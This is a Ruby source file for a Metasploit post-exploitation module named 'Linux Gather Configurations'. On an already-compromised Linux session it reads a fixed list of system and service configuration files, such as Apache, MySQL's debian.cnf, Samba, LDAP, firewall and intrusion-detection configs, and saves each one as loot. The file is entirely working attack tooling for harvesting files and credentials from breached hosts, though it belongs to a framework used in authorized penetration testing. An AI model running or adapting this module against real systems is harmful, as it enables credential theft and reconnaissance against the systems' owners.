## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, 'Name' => 'Linux Gather Configurations', 'Description' => %q{ This module collects configuration files found on commonly installed applications and services, such as Apache, MySQL, Samba, Sendmail, etc. If a config file is found in its default path, the module will assume that is the file we want. }, 'License' => MSF_LICENSE, 'Author' => [ 'ohdae ', ], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell' ] )) end def run distro = get_sysinfo h = get_host print_status("Running module against #{h}") print_status("Info:") print_status("\t#{distro[:version]}") print_status("\t#{distro[:kernel]}") vprint_status("Finding configuration files...") find_configs end def save(file, data, ctype="text/plain") ltype = "linux.enum.conf" fname = ::File.basename(file) loot = store_loot(ltype, ctype, session, data, fname) print_status("#{fname} stored in #{loot.to_s}") end def get_host case session.type when /meterpreter/ host = sysinfo["Computer"] when /shell/ host = session.shell_command_token("hostname").chomp end return host end def find_configs configs =[ "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", "/etc/nginx/nginx.conf", "/etc/snort/snort.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", "/etc/security.access.conf", "/etc/shells", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/security/access.conf", "/etc/gated.conf", "/etc/rpc", "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf", "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/openldap.conf", "/etc/cups/cups.conf", "/etc/opt/lampp/etc/httpd.conf", "/etc/sysctl.conf", "/etc/proxychains.conf", "/etc/cups/snmp.conf", "/etc/mail/sendmail.conf", "/etc/snmp/snmp.conf" ] configs.each do |f| output = read_file("#{f}") save(f, output) if output !~ /No such file or directory/ end end end